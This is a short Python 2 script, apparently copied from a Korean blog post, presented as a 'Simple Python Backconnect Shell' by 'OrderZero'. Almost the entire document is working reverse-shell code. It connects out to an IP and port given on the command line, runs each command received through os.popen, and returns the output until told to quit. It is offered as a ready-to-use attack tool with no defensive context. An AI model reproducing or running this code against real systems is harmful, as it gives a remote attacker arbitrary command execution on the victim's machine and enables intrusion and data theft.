#!/usr/bin/python import socket import sys import os def usage(): print "Simple Python Backconnect Shell" print "Usage:" print "./bc.py [ip] [port]" quit() #Initialize socket s = socket.socket() #Check if required arguments have been filled try: ip = sys.argv[1] port = int(sys.argv[2]) except: usage() #Connect to given target IP & port try: s.connect((ip, port)) except: print "Connection Failed! Check your connection settings and try again." quit() while(1): data = s.recv(1024) if(data == 'quit\n'): s.close() break else: shell = os.popen(data).read() s.send(shell) print "Exiting..." s.close() #Author: OrderZero
728x90
댓글